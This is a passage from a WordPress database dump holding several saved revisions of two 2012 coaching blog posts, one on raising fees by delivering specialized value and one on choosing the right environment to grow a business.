clients,\r\n\r\n•  they have the ability to quickly build trust and strong emotional connections with their clients,\r\n\r\n•  they are known and perceived to deliver deep specialized value for the price,\r\n\r\n• their clients believe there are no or few substitutes for what they deliver.\r\n\r\nOnly if you possess these characteristics and attributes will you be able to “raise your prices” and still maintain a competitive advantage. Increase your value to the client first. Here’s how you can do that:\r\n\r\n<strong>Believe you’re worthy of receiving more money!</strong>\r\nThis statement may seem like an over simplification, but sometimes the biggest barrier to creating more value for clients lies in your beliefs about your own value. This is a subconscious thing, way under the radar of your awareness.\r\n\r\nMany people have limiting and distorted beliefs about money, success and their worthiness to create massive financial value. It took me more than half my business career to figure this out! Let that not be you!\r\n\r\nBefore you can raise your prices, you must first raise your thinking and belief about what you’re really capable of. If you don’t believe it why should your client? Your disbelief in yourself will show!\r\n\r\n<strong>Specialize!</strong>\r\nValue creators are specialists! To specialize, one must possess deep and narrow expertise in a discipline, industry, serving a demographic group or customer segment. When you have a narrow focus you get known for providing a specific solution. The solution you provide must be something you’re a genius at doing, highly valued by the client and not in abundant supply elsewhere.\r\n\r\nGeneralists rarely if ever command premium pricing. That’s because they are trying to be all things to all people. They don’t want to miss any opportunity. Generalists don’t believe in focusing on one thing. Generalists are transaction based, and as a result, usually hired to provide tactical value rather than strategic value. Generalists have broad offerings, but no real depth of expertise in anything. They are easily replaced.\r\n\r\nIf you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder. When you are known as the “go-to” resource for a highly valued solution, clients will seek you out. You won’t be writing proposals, pitching and bidding for business with dozens of competitiors. Clients will pay more for what they value–your specialized, hard to find expertise! And they will share their good fortune working with you with others, enabling your business development effectiveness to take a quantum leap.\r\n\r\n<strong>Deliver outcomes not stuff!</strong>\r\nSaying its so, won’t make it so. You can claim a specialized expertise all day long but that won’t enable you to get paid more money. You have to prove your claim.  You do this by delivering on your promise of value. Delivering doesn’t simply mean doing a good job, delivered on time, on budget. To deliver, you must help the client achieve their desired business outcome; or as stated earlier, “provide more use value”.\r\n\r\nWhen clients experience their desired business outcome by working with you, your higher value will be perceived– not in the stuff you make. All your competitors can make and deliver stuff – at cheaper prices too! What will distinguish you from the slush pile is your ability to assess and deliver highly valued business outcomes. When you do this, you will not only command higher fees, but you will enhance your positioning in the clients mind as “cheap at twice the price”.\r\n\r\n</div>', 'How to raise your rates and have clients love you for it.', 0, '', 'inherit', 'open', 'open', '', '2108-revision-12', '', '', '2012-07-25 15:48:36', '2012-07-25 22:48:36', '', 2108, 'http://www.whitehotcenter.com/2012/07/2108-revision-12/', 0, 'revision', '', 0),
(2122, 2, '2012-07-25 15:49:26', '2012-07-25 22:49:26', '<div>\r\n\r\n<img class="alignnone size-full wp-image-2109" title="raise your price" src="http://whc.fbdev.org/wp-content/uploads/2012/07/price.jpg" alt="" width="495" height="379" />\r\n<h1><span style="color: #808080;">If you want to raise your professional fees, you have to raise your value first. And value is always in the eye of the beholder.</span></h1>\r\nWould you pay extra for something you don’t value? Of course not, and neither will your clients! In my work consulting with creative professionals, one question always gets a robust response from me–“how can I raise my rates”?\r\n\r\nIt’s a fair question. Serving higher paying clients is something every creative professional aspires to accomplish in their business. Everyone wants to increase the amount of money they get paid. But why should any one of your current or prospective clients pay one nickel more for your services–especially when they have abundant alternatives to you? How can you command premium pricing for your work and have clients loving you for it?\r\n<h2>Here is the simple key to commanding more money for your services:<strong>\r\n</strong>Provide more “use value” to your client than they pay you in cash value.</h2>\r\nThis is what separates the value creators from the order takers. Premium pricing is reserved for those creative professionals who posses these characteristics:\r\n\r\n•  they provide relevant and highly-valued business outcomes for their clients,\r\n\r\n•  they have the ability to quickly build trust and strong emotional connections with their clients,\r\n\r\n•  they are known and perceived to deliver deep specialized value for the price,\r\n\r\n• their clients believe there are no or few substitutes for what they deliver.\r\n\r\nOnly if you possess these characteristics and attributes will you be able to “raise your prices” and still maintain a competitive advantage. Increase your value to the client first. Here’s how you can do that:\r\n\r\n<strong>Believe you’re worthy of receiving more money!</strong>\r\nThis statement may seem like an over simplification, but sometimes the biggest barrier to creating more value for clients lies in your beliefs about your own value. This is a subconscious thing, way under the radar of your awareness.\r\n\r\nMany people have limiting and distorted beliefs about money, success and their worthiness to create massive financial value. It took me more than half my business career to figure this out! Let that not be you!\r\n\r\nBefore you can raise your prices, you must first raise your thinking and belief about what you’re really capable of. If you don’t believe it why should your client? Your disbelief in yourself will show!\r\n\r\n<strong>Specialize!</strong>\r\nValue creators are specialists! To specialize, one must possess deep and narrow expertise in a discipline, industry, serving a demographic group or customer segment. When you have a narrow focus you get known for providing a specific solution. The solution you provide must be something you’re a genius at doing, highly valued by the client and not in abundant supply elsewhere.\r\n\r\nGeneralists rarely if ever command premium pricing. That’s because they are trying to be all things to all people. They don’t want to miss any opportunity. Generalists don’t believe in focusing on one thing. Generalists are transaction based, and as a result, usually hired to provide tactical value rather than strategic value. Generalists have broad offerings, but no real depth of expertise in anything. They are easily replaced.\r\n\r\nIf you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder. When you are known as the “go-to” resource for a highly valued solution, clients will seek you out. You won’t be writing proposals, pitching and bidding for business with dozens of competitiors. Clients will pay more for what they value–your specialized, hard to find expertise! And they will share their good fortune working with you with others, enabling your business development effectiveness to take a quantum leap.\r\n\r\n<strong>Deliver outcomes not stuff!</strong>\r\nSaying its so, won’t make it so. You can claim a specialized expertise all day long but that won’t enable you to get paid more money. You have to prove your claim.  You do this by delivering on your promise of value. Delivering doesn’t simply mean doing a good job, delivered on time, on budget. To deliver, you must help the client achieve their desired business outcome; or as stated earlier, “provide more use value”.\r\n\r\nWhen clients experience their desired business outcome by working with you, your higher value will be perceived– not in the stuff you make. All your competitors can make and deliver stuff – at cheaper prices too! What will distinguish you from the slush pile is your ability to assess and deliver highly valued business outcomes. When you do this, you will not only command higher fees, but you will enhance your positioning in the clients mind as “cheap at twice the price”.\r\n\r\n</div>', 'How to raise your rates and have clients love you for it.', 0, '', 'inherit', 'open', 'open', '', '2108-revision-13', '', '', '2012-07-25 15:49:26', '2012-07-25 22:49:26', '', 2108, 'http://www.whitehotcenter.com/2012/07/2108-revision-13/', 0, 'revision', '', 0),
(2123, 2, '2012-07-25 15:58:02', '2012-07-25 22:58:02', '<div>\n\n<img class="alignnone size-full wp-image-2109" title="raise your price" src="http://whc.fbdev.org/wp-content/uploads/2012/07/price.jpg" alt="" width="495" height="379" />\n<h1><span style="color: #808080;">If you want to raise your professional fees, you have to raise your value first. And value is always in the eye of the beholder.</span></h1>\nIt doesn’t matter how much time you may spend on a project, your client places little value on your time and your hourly rate. How can you raise the price on something clients don''t care about in the first place? Would you pay extra for something you don’t value? Of course not, and neither will your clients! In my work consulting with creative professionals, one question always gets a robust response from me–“how can I raise my rates”?\n\nIt’s a fair question. Serving higher paying clients is something every creative professional aspires to accomplish in their business. Everyone wants to increase the amount of money they get paid. But why should any one of your current or prospective clients pay one nickel more for your services–especially when they have abundant alternatives to you? How can you command premium pricing for your work and have clients loving you for it?\n<h2>Here is the simple key to commanding more money for your services:<strong>\n</strong>Provide more “use value” to your client than they pay you in cash value.</h2>\nThis is what separates the value creators from the order takers. Premium pricing is reserved for those creative professionals who posses these characteristics:\n\n•  they provide relevant and highly-valued business outcomes for their clients,\n\n•  they have the ability to quickly build trust and strong emotional connections with their clients,\n\n•  they are known and perceived to deliver deep specialized value for the price,\n\n• their clients believe there are no or few substitutes for what they deliver.\n\nOnly if you possess these characteristics and attributes will you be able to “raise your prices” and still maintain a competitive advantage. Increase your value to the client first. Here’s how you can do that:\n\n<strong>Believe you’re worthy of receiving more money!</strong>\nThis statement may seem like an over simplification, but sometimes the biggest barrier to creating more value for clients lies in your beliefs about your own value. This is a subconscious thing, way under the radar of your awareness.\n\nMany people have limiting and distorted beliefs about money, success and their worthiness to create massive financial value. It took me more than half my business career to figure this out! Let that not be you!\n\nBefore you can raise your prices, you must first raise your thinking and belief about what you’re really capable of. If you don’t believe it why should your client? Your disbelief in yourself will show!\n\n<strong>Specialize!</strong>\nValue creators are specialists! To specialize, one must possess deep and narrow expertise in a discipline, industry, serving a demographic group or customer segment. When you have a narrow focus you get known for providing a specific solution. The solution you provide must be something you’re a genius at doing, highly valued by the client and not in abundant supply elsewhere.\n\nGeneralists rarely if ever command premium pricing. That’s because they are trying to be all things to all people. They don’t want to miss any opportunity. Generalists don’t believe in focusing on one thing. Generalists are transaction based, and as a result, usually hired to provide tactical value rather than strategic value. Generalists have broad offerings, but no real depth of expertise in anything. They are easily replaced.\n\nIf you want to raise your fees, you have to raise your value first. And value is always in the eye of the beholder. When you are known as the “go-to” resource for a highly valued solution, clients will seek you out. You won’t be writing proposals, pitching and bidding for business with dozens of competitiors. Clients will pay more for what they value–your specialized, hard to find expertise! And they will share their good fortune working with you with others, enabling your business development effectiveness to take a quantum leap.\n\n<strong>Deliver outcomes not stuff!</strong>\nSaying its so, won’t make it so. You can claim a specialized expertise all day long but that won’t enable you to get paid more money. You have to prove your claim.  You do this by delivering on your promise of value. Delivering doesn’t simply mean doing a good job, delivered on time, on budget. To deliver, you must help the client achieve their desired business outcome; or as stated earlier, “provide more use value”.\n\nWhen clients experience their desired business outcome by working with you, your higher value will be perceived– not in the stuff you make. All your competitors can make and deliver stuff – at cheaper prices too! What will distinguish you from the slush pile is your ability to assess and deliver highly valued business outcomes. When you do this, you will not only command higher fees, but you will enhance your positioning in the clients mind as “cheap at twice the price”.\n\n</div>', 'How to raise your rates and have clients love you for it.', 0, '', 'inherit', 'open', 'open', '', '2108-autosave', '', '', '2012-07-25 15:58:02', '2012-07-25 22:58:02', '', 2108, 'http://www.whitehotcenter.com/2012/07/2108-autosave/', 0, 'revision', '', 0),
(2124, 2, '2012-08-07 11:23:54', '2012-08-07 18:23:54', '<img class="alignnone size-full wp-image-2125" title="the-right-dirt" src="http://whc.fbdev.org/wp-content/uploads/2012/08/feet-in-dirt.jpg" alt="" width="495" height="253" />\r\n<h1><span style="color: #ff6347;">The environment that surrounds you is critical to your success. Like anything that grows–the quality of the soil, the climate, and the attention paid to keeping out the bugs and weeds makes all the difference. To grow your business, you need to plant yourself in the right dirt.</span></h1>\r\nNature or nurture–which one determines your greater chances for success? Can you grow your business in a difficult environment? Can you succeed on talent and capability alone, regardless of the environment you find yourself in? How important is the soil you have chosen to plant yourself in to realizing your bigger future?\r\n\r\nIn my view, these questions are worth thinking about.\r\n\r\nRecently, I decided to drive across the country to visit colleagues and family. On the long drive from Southern California to Michigan I was listening to the audio book, <em>Steve Jobs by Walter Isaacson</em>. I’ve wanted to read it since it was published earlier this year but just never got around to it. Facing the four-day drive, the audio book was the perfect companion for my journey. I found the book very revealing and compelling.\r\n\r\nOf course the early chapters were devoted to Steve’s childhood, early education, and his family background. But what stood out for me in these early chapters was the fact that Steve Jobs grew up and became a product of Silicon Valley.\r\n\r\nThis resonated deeply with me because I too grew up in Silicon Valley at the very same time as Steve Jobs. He was two years younger than me. Our respective high schools were football rivals less than ten miles apart. As I listened to the audio book, I thought to myself how probable it was that we could have crossed paths at a football game.  Who knows?\r\n\r\nThe environment of Silicon Valley in the early 70s was a cauldron of intense innovation. Transformative ideas, still unformed, were percolating all around Steve Jobs. This environment proved to be fortuitous and a critical component to his success. He was raised in the right dirt, at precisely the right time.  His proximity to what was happening all around him during those formative years surely couldn’t be ignored. Not to diminish his visionary reputation, I think it would have been a different story had he been raised in rural Nebraska.\r\n\r\nThis got me thinking about the importance of environment to success–particularly in the early stages of your success. If you’re working to build your business from the ground up, it begins by planting yourself in the right place. You need to be surrounded by an environment that is supportive and conducive to your vision.\r\n\r\nIf you want to write music for film and television, you need to be hanging in the very place where all that happens–connecting and growing with like minded colleagues, and building your network with real connections to people who are making the decisions about who they want to work with. Whatever the activity of your business, you need to be in the right place to grow. If you’re not in the right place bumping into opportunities that are available by the geography, then move there.\r\n<h2><strong>At the beginning of your business success, don’t be afraid to pick up everything and move to a better fishin hole.</strong></h2>\r\nDespite our growing virtual connections and dependence on social media tools, being in the right soil making influential connections and building lasting relationships with real people is more essential than ever. Call me old-school if you like, but if you have the talent and capability to manifest your vision, then you need to consider where the best dirt for you is located then go plant yourself there!\r\n\r\n&nbsp;', 'Plant yourself in the right dirt.', 0, '', 'publish', 'open', 'open', '', 'plant-yourself-in-the-right-dirt', '', '', '2012-08-07 11:23:54', '2012-08-07 18:23:54', '', 0, 'http://www.whitehotcenter.com/?p=2124', 0, 'post', '', 2),
(2125, 2, '2012-08-07 11:07:07', '2012-08-07 18:07:07', '', 'the-right-dirt', 0, '', 'inherit', 'open', 'open', '', 'feet-in-dirt', '', '', '2012-08-07 11:07:07', '2012-08-07 18:07:07', '', 2124, 'http://www.whitehotcenter.com/wp-content/uploads/2012/08/feet-in-dirt.jpg', 0, 'attachment', 'image/jpeg', 0),
(2126, 2, '2012-08-07 11:09:39', '2012-08-07 18:09:39', '<img class="alignnone size-full wp-image-2125" title="the-right-dirt" src="http://whc.fbdev.org/wp-content/uploads/2012/08/feet-in-dirt.jpg" alt="" width="495" height="253" />\n<h1>The environment that surrounds you is critical to your success. Like anything that grows–the quality of the soil, the climate, and the attention paid to keeping out the bugs and weeds makes all the difference. To grow your business, you need to plant yourself in the right dirt.</h1>\nNature or nurture–which one determines your greater chances for success? Can you grow your business in a difficult environment? Can you succeed on talent and capability alone, regardless of the environment you find yourself in? How important is the soil you have chosen to plant yourself in to realizing your bigger future?\n\nIn my view, these questions are worth thinking about.\n\nRecently, I decided to drive across the country to visit colleagues and family. On the long drive from Southern California to Michigan I was listening to the audio book, <em>Steve Jobs by Walter Isaacson</em>. I’ve wanted to read it since it was published earlier this year but just never got around to it. Facing the four-day drive, the audio book was the perfect companion for my journey. I found the book very revealing and compelling.\n\nOf course the early chapters were devoted to Steve’s childhood, early education, and his family background. But what stood out for me in these early chapters was the fact that Steve Jobs grew up in Silicon Valley.\n\n&nbsp;\n\nThis resonated deeply with me because I too grew up in Silicon Valley at the very same time as Steve Jobs. He was two years younger than me. Our respective high schools were football rivals less than ten miles apart. As I listened to the audio book, I thought to myself how probable it was that we could have crossed paths at a football game.  Who knows?\n\n&nbsp;\n\nThe environment of Silicon Valley in the early 70s was a cauldron of intense innovation. Transformative ideas, still unformed, were percolating all around Steve Jobs. This environment proved to be fortuitous and a critical component to his success. He was raised in the right dirt, at precisely the right time.  His proximity to what was happening all around him during those formative years surely couldn’t be ignored. Not to diminish his visionary reputation, I think it would have been a different story had he been raised in rural Nebraska.\n\n&nbsp;\n\nThis got me thinking about the importance of environment to success–particularly in the early stages of your success. If you’re working to build your business from the ground up, it begins by planting yourself in the right place. You need to be surrounded by an environment that is supportive and conducive to your vision.\n\n&nbsp;\n\nIf you want to write music for film and television, you need to be hanging in the very place where all that happens–connecting and growing with like minded colleagues, and building your network with real connections to people who are making the decisions about who they want to work with. Whatever the activity of your business, you need to be in the right place to grow. If you’re not in the right place bumping into opportunities that are available by the geography, then move there.\n\n&nbsp;\n\n<strong>At the beginning of your business success, don’t be afraid to pick up everything and move to a better fishin hole.</strong>\n\n&nbsp;\n\nDespite our growing virtual connections and dependence on social media tools, being in the right soil making influential connections and building lasting relationships with real people is more essential than ever. Call me old-school if you like, but if you have the talent and capability to manifest your vision, then you need to consider where the best dirt for you is located then go plant yourself there!\n\n&nbsp;', 'Plant yourself in the right dirt.', 0, '', 'inherit', 'open', 'open', '', '2124-revision', '', '', '2012-08-07 11:09:39', '2012-08-07 18:09:39', '', 2124, 'http://www.whitehotcenter.com/2012/08/2124-revision/', 0, 'revision', '', 0),
(2127, 2, '2012-08-07 11:10:27', '2012-08-07 18:10:27', '<img class="alignnone size-full wp-image-2125" title="the-right-dirt" src="http://whc.fbdev.org/wp-content/uploads/2012/08/feet-in-dirt.jpg" alt="" width="495" height="253" />\r\n<h1>The environment that surrounds you is critical to your success. Like anything that grows–the quality of the soil, the climate, and the attention paid to keeping out the bugs and weeds makes all the difference. To grow your business, you need to plant yourself in the right dirt.</h1>\r\nNature or nurture–which one determines your greater chances for success? Can you grow your business in a difficult environment? Can you succeed on talent and capability alone, regardless of the environment you find yourself in? How important is the soil you have chosen to plant yourself in to realizing your bigger future?\r\n\r\nIn my view, these questions are worth thinking about.\r\n\r\nRecently, I decided to drive across the country to visit colleagues and family. On the long drive from Southern California to Michigan I was listening to the audio book, <em>Steve Jobs by Walter Isaacson</em>. I’ve wanted to read it since it was published earlier this year but just never got around to it. Facing the four-day drive, the audio book was the perfect companion for my journey. I found the book very revealing and compelling.\r\n\r\nOf course the early chapters were devoted to Steve’s childhood, early education, and his family background. But what stood out for me in these early chapters was the fact that Steve Jobs grew up in Silicon Valley.\r\n\r\nThis resonated deeply with me because I too grew up in Silicon Valley at the very same time as Steve Jobs. He was two years younger than me. Our respective high schools were football rivals less than ten miles apart. As I listened to the audio book, I thought to myself how probable it was that we could have crossed paths at a football game.  Who knows?\r\n\r\nThe environment of Silicon Valley in the early 70s was a cauldron of intense innovation. Transformative ideas, still unformed, were percolating all around Steve Jobs. This environment proved to be fortuitous and a critical component to his success. He was raised in the right dirt, at precisely the right time.  His proximity to what was happening all around him during those formative years surely couldn’t be ignored. Not to diminish his visionary reputation, I think it would have been a different story had he been raised in rural Nebraska.\r\n\r\nThis got me thinking about the importance of environment to success–particularly in the early stages of your success. If you’re working to build your business from the ground up, it begins by planting yourself in the right place. You need to be surrounded by an environment that is supportive and conducive to your vision.\r\n\r\nIf you want to write music for film and television, you need to be hanging in the very place where all that happens–connecting and growing with like minded colleagues, and building your network with real connections to people who are making the decisions about who they want to work with. Whatever the activity of your business, you need to be in the right place to grow. If you’re not in the right place bumping into opportunities that are available by the geography, then move there.\r\n<h2><strong>At the beginning of your business success, don’t be afraid to pick up everything and move to a better fishin hole.</strong></h2>\r\nDespite our growing virtual connections and dependence on social media tools, being in the right soil making influential connections and building lasting relationships with real people is more essential than ever. Call me old-school if you like, but if you have the talent and capability to manifest your vision, then you need to consider where the best dirt for you is located then go plant yourself there!\r\n\r\n&nbsp;', 'Plant yourself in the right dirt.', 0, '', 'inherit', 'open', 'open', '', '2124-revision-2', '', '', '2012-08-07 11:10:27', '2012-08-07 18:10:27', '', 2124, 'http://www.whitehotcenter.com/2012/08/2124-revision-2/', 0, 'revision', '', 0);
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(2128, 2, '2012-08-07 11:10:40', '2012-08-07 18:10:40', '<img class="alignnone size-full wp-image-2125" title="the-right-dirt" src="http://whc.fbdev.org/wp-content/uploads/2012/08/feet-in-dirt.jpg" alt="" width="495" height="253" />\r\n<h1>The environment that surrounds you is critical to your success. Like anything that grows–the quality of the soil, the climate, and the attention paid to keeping out the bugs and weeds makes all the difference. To grow your business, you need to plant yourself in the right dirt.</h1>\r\nNature or nurture–which one determines your greater chances for success? Can you grow your business in a difficult environment? Can you succeed on talent and capability alone, regardless of the environment you find yourself in? How important is the soil you have chosen to plant yourself in to realizing your bigger future?\r\n\r\nIn my view, these questions are worth thinking about.\r\n\r\nRecently, I decided to drive across the country to visit colleagues and family. On the long drive from Southern California to Michigan I was listening to the audio book, <em>Steve Jobs by Walter Isaacson</em>. I’ve wanted to read it since it was published earlier this year but just never got around to it. Facing the four-day drive, the audio book was the perfect companion for my journey. I found the book very revealing and compelling.\r\n\r\nOf course the early chapters were devoted to Steve’s childhood, early education, and his family background. But what stood out for me in these early chapters was the fact that Steve Jobs grew up in Silicon Valley.\r\n\r\nThis resonated deeply with me because I too grew up in Silicon Valley at the very same time as Steve Jobs. He was two years younger than me. Our respective high schools were football rivals less than ten miles apart. As I listened to the audio book, I thought to myself how probable it was that we could have crossed paths at a football game.  Who knows?\r\n\r\nThe environment of Silicon Valley in the early 70s was a cauldron of intense innovation. Transformative ideas, still unformed, were percolating all around Steve Jobs. This environment proved to be fortuitous and a critical component to his success. He was raised in the right dirt, at precisely the right time.  His proximity to what was happening all around him during those formative years surely couldn’t be ignored. Not to diminish his visionary reputation, I think it would have been a different story had he been raised in rural Nebraska.\r\n\r\nThis got me thinking about the importance of environment to success–particularly in the early stages of your success. If you’re working to build your business from the ground up, it begins by planting yourself in the right place. You need to be surrounded by an environment that is supportive and conducive to your vision.\r\n\r\nIf you want to write music for film and television, you need to be hanging in the very place where all that happens–connecting and growing with like minded colleagues, and building your network with real connections to people who are making the decisions about who they want to work with. Whatever the activity of your business, you need to be in the right place to grow. If you’re not in the right place bumping into opportunities that are available by the geography, then move there.\r\n<h2><strong>At the beginning of your business success, don’t be afraid to pick up everything and move to a better fishin hole.</strong></h2>\r\nDespite our growing virtual connections and dependence on social media tools, being in the right soil making influential connections and building lasting relationships with real people is more essential than ever. Call me old-school if you like, but if you have the talent and capability to manifest your vision, then you need to consider where the best dirt for you is located then go plant yourself there!\r\n\r\n&nbsp;', 'Plant yourself in the right dirt.', 0, '', 'inherit', 'open', 'open', '', '2124-revision-3', '', '', '2012-08-07 11:10:40', '2012-08-07 18:10:40', '', 2124, 'http://www.whitehotcenter.com/2012/08/2124-revision-3/', 0, 'revision', '', 0),
(2129, 2, '2012-08-07 11:12:18', '2012-08-07 18:12:18', '<img class="alignnone size-full wp-image-2125" title="the-right-dirt" src="http://whc.fbdev.org/wp-content/uploads/2012/08/feet-in-dirt.jpg" alt="" width="495" height="253" />\r\n<h1><span style="color: #ff6347;">The environment that surrounds you is critical to your success. Like anything that grows–the quality of the soil, the climate, and the attention paid to keeping out the bugs and weeds makes all the difference. To grow your business, you need to plant yourself in the right dirt.</span></h1>\r\nNature or nurture–which one determines your greater chances for success? Can you grow your business in a difficult environment? Can you succeed on talent and capability alone, regardless of the environment you find yourself in? How important is the soil you have chosen to plant yourself in to realizing your bigger future?\r\n\r\nIn my view, these questions are worth thinking about.\r\n\r\nRecently, I decided to drive across the country to visit colleagues and family. On the long drive from Southern California to Michigan I was listening to the audio book, <em>Steve Jobs by Walter Isaacson</em>. I’ve wanted to read it since it was published earlier this year but just never got around to it. Facing the four-day drive, the audio book was the perfect companion for my journey. I found the book very revealing and compelling.\r\n\r\nOf course the early chapters were devoted to Steve’s childhood, early education, and his family background. But what stood out for me in these early chapters was the fact that Steve Jobs grew up in Silicon Valley.\r\n\r\nThis resonated deeply with me because I too grew up in Silicon Valley at the very same time as Steve Jobs. He was two years younger than me. Our respective high schools were football rivals less than ten miles apart. As I listened to the audio book, I thought to myself how probable it was that we could have crossed paths at a football game.  Who knows?\r\n\r\nThe environment of Silicon Valley in the early 70s was a cauldron of intense innovation. Transformative ideas, still unformed, were percolating all around Steve Jobs. This environment proved to be fortuitous and a critical component to his success. He was raised in the right dirt, at precisely the right time.  His proximity to what was happening all around him during those formative years surely couldn’t be ignored. Not to diminish his visionary reputation, I think it would have been a different story had he been raised in rural Nebraska.\r\n\r\nThis got me thinking about the importance of environment to success–particularly in the early stages of your success. If you’re working to build your business from the ground up, it begins by planting yourself in the right place. You need to be surrounded by an environment that is supportive and conducive to your vision.\r\n\r\nIf you want to write music for film and television, you need to be hanging in the very place where all that happens–connecting and growing with like minded colleagues, and building your network with real connections to people who are making the decisions about who they want to work with. Whatever the activity of your business, you need to be in the right place to grow. If you’re not in the right place bumping into opportunities that are available by the geography, then move there.\r\n<h2><strong>At the beginning of your business success, don’t be afraid to pick up everything and move to a better fishin hole.</strong></h2>\r\nDespite our growing virtual connections and dependence on social media tools, being in the right soil making influential connections and building lasting relationships with real people is more essential than ever. Call me old-school if you like, but if you have the talent and capability to manifest your vision, then you need to consider where the best dirt for you is located then go plant yourself there!\r\n\r\n&nbsp;', 'Plant yourself in the right dirt.', 0, '', 'inherit', 'open', 'open', '', '2124-revision-4', '', '', '2012-08-07 11:12:18', '2012-08-07 18:12:18', '', 2124, 'http://www.whitehotcenter.com/2012/08/2124-revision-4/', 0, 'revision', '', 0),
(2130, 2, '2012-08-07 11:12:25', '2012-08-07 18:12:25', '<img class="alignnone size-full wp-image-2125" title="the-right-dirt" src="http://whc.fbdev.org/wp-content/uploads/2012/08/feet-in-dirt.jpg" alt="" width="495" height="253" />\r\n<h1><span style="color: #ff6347;">The environment that surrounds you is critical to your success. Like anything that grows–the quality of the soil, the climate, and the attention paid to keeping out the bugs and weeds makes all the difference. To grow your business, you need to plant yourself in the right dirt.</span></h1>\r\nNature or nurture–which one determines your greater chances for success? Can you grow your business in a difficult environment? Can you succeed on talent and capability alone, regardless of the environment you find yourself in? How important is the soil you have chosen to plant yourself in to realizing your bigger future?\r\n\r\nIn my view, these questions are worth thinking about.\r\n\r\nRecently, I decided to drive across the country to visit colleagues and family. On the long drive from Southern California to Michigan I was listening to the audio book, <em>Steve Jobs by Walter Isaacson</em>. I’ve wanted to read it since it was published earlier this year but just never got around to it. Facing the four-day drive, the audio book was the perfect companion for my journey. I found the book very revealing and compelling.\r\n\r\nOf course the early chapters were devoted to Steve’s childhood, early education, and his family background. But what stood out for me in these early chapters was the fact that Steve Jobs grew up in Silicon Valley.\r\n\r\nThis resonated deeply with me because I too grew up in Silicon Valley at the very same time as Steve Jobs. He was two years younger than me. Our respective high schools were football rivals less than ten miles apart. As I listened to the audio book, I thought to myself how probable it was that we could have crossed paths at a football game.  Who knows?\r\n\r\nThe environment of Silicon Valley in the early 70s was a cauldron of intense innovation. Transformative ideas, still unformed, were percolating all around Steve Jobs. This environment proved to be fortuitous and a critical component to his success. He was raised in the right dirt, at precisely the right time.  His proximity to what was happening all around him during those formative years surely couldn’t be ignored. Not to diminish his visionary reputation, I think it would have been a different story had he been raised in rural Nebraska.\r\n\r\nThis got me thinking about the importance of environment to success–particularly in the early stages of your success. If you’re working to build your business from the ground up, it begins by planting yourself in the right place. You need to be surrounded by an environment that is supportive and conducive to your vision.\r\n\r\nIf you want to write music for film and television, you need to be hanging in the very place where all that happens–connecting and growing with like minded colleagues, and building your network with real connections to people who are making the decisions about who they want to work with. Whatever the activity of your business, you need to be in the right place to grow. If you’re not in the right place bumping into opportunities that are available by the geography, then move there.\r\n<h2><strong>At the beginning of your business success, don’t be afraid to pick up everything and move to a better fishin hole.</strong></h2>\r\nDespite our growing virtual connections and dependence on social media tools, being in the right soil making influential connections and building lasting relationships with real people is more essential than ever. Call me old-school if you like, but if you have the talent and capability to manifest your vision, then you need to consider where the best dirt for you is located then go plant yourself there!\r\n\r\n&nbsp;', 'Plant yourself in the right dirt.', 0, '', 'inherit', 'open', 'open', '', '2124-revision-5', '', '', '2012-08-07 11:12:25', '2012-08-07 18:12:25', '', 2124, 'http://www.whitehotcenter.com/2012/08/2124-revision-5/', 0, 'revision', '', 0),
(2131, 2, '2012-08-07 11:19:00', '2012-08-07 18:19:00', '<img class="alignnone size-full wp-image-2125" title="the-right-dirt" src="http://whc.fbdev.org/wp-content/uploads/2012/08/feet-in-dirt.jpg" alt="" width="495" height="253" />\r\n<h1><span style="color: #ff6347;">The environment that surrounds you is critical to your success. Like anything that grows–the quality of the soil, the climate, and the attention paid to keeping out the bugs and weeds makes all the difference. To grow your business, you need to plant yourself in the right dirt.</span></h1>\r\nNature or nurture–which one determines your greater chances for success? Can you grow your business in a difficult environment? Can you succeed on talent and capability alone, regardless of the environment you find yourself in? How important is the soil you have chosen to plant yourself in to realizing your bigger future?\r\n\r\nIn my view, these questions are worth thinking about.\r\n\r\nRecently, I decided to drive across the country to visit colleagues and family. On the long drive from Southern California to Michigan I was listening to the audio book, <em>Steve Jobs by Walter Isaacson</em>. I’ve wanted to read it since it was published earlier this year but just never got around to it. Facing the four-day drive, the audio book was the perfect companion for my journey. I found the book very revealing and compelling.\r\n\r\nOf course the early chapters were devoted to Steve’s childhood, early education, and his family background. But what stood out for me in these early chapters was the fact that Steve Jobs grew up and became a product of Silicon Valley.\r\n\r\nThis resonated deeply with me because I too grew up in Silicon Valley at the very same time as Steve Jobs. He was two years younger than me. Our respective high schools were football rivals less than ten miles apart. As I listened to the audio book, I thought to myself how probable it was that we could have crossed paths at a football game.  Who knows?\r\n\r\nThe environment of Silicon Valley in the early 70s was a cauldron of intense innovation. Transformative ideas, still unformed, were percolating all around Steve Jobs. This environment proved to be fortuitous and a critical component to his success. He was raised in the right dirt, at precisely the right time.  His proximity to what was happening all around him during those formative years surely couldn’t be ignored. Not to diminish his visionary reputation, I think it would have been a different story had he been raised in rural Nebraska.\r\n\r\nThis got me thinking about the importance of environment to success–particularly in the early stages of your success. If you’re working to build your business from the ground up, it begins by planting yourself in the right place. You need to be surrounded by an environment that is supportive and conducive to your vision.\r\n\r\nIf you want to write music for film and television, you need to be hanging in the very place where all that happens–connecting and growing with like minded colleagues, and building your network with real connections to people who are making the decisions about who they want to work with. Whatever the activity of your business, you need to be in the right place to grow. If you’re not in the right place bumping into opportunities that are available by the geography, then move there.\r\n<h2><strong>At the beginning of your business success, don’t be afraid to pick up everything and move to a better fishin hole.</strong></h2>\r\nDespite our growing virtual connections and dependence on social media tools, being in the right soil making influential connections and building lasting relationships with real people is more essential than ever. Call me old-school if you like, but if you have the talent and capability to manifest your vision, then you need to consider where the best dirt for you is located then go plant yourself there!\r\n\r\n&nbsp;', 'Plant yourself in the right dirt.', 0, '', 'inherit', 'open', 'open', '', '2124-revision-6', '', '', '2012-08-07 11:19:00', '2012-08-07 18:19:00', '', 2124, 'http://www.whitehotcenter.com/2012/08/2124-revision-6/', 0, 'revision', '', 0),
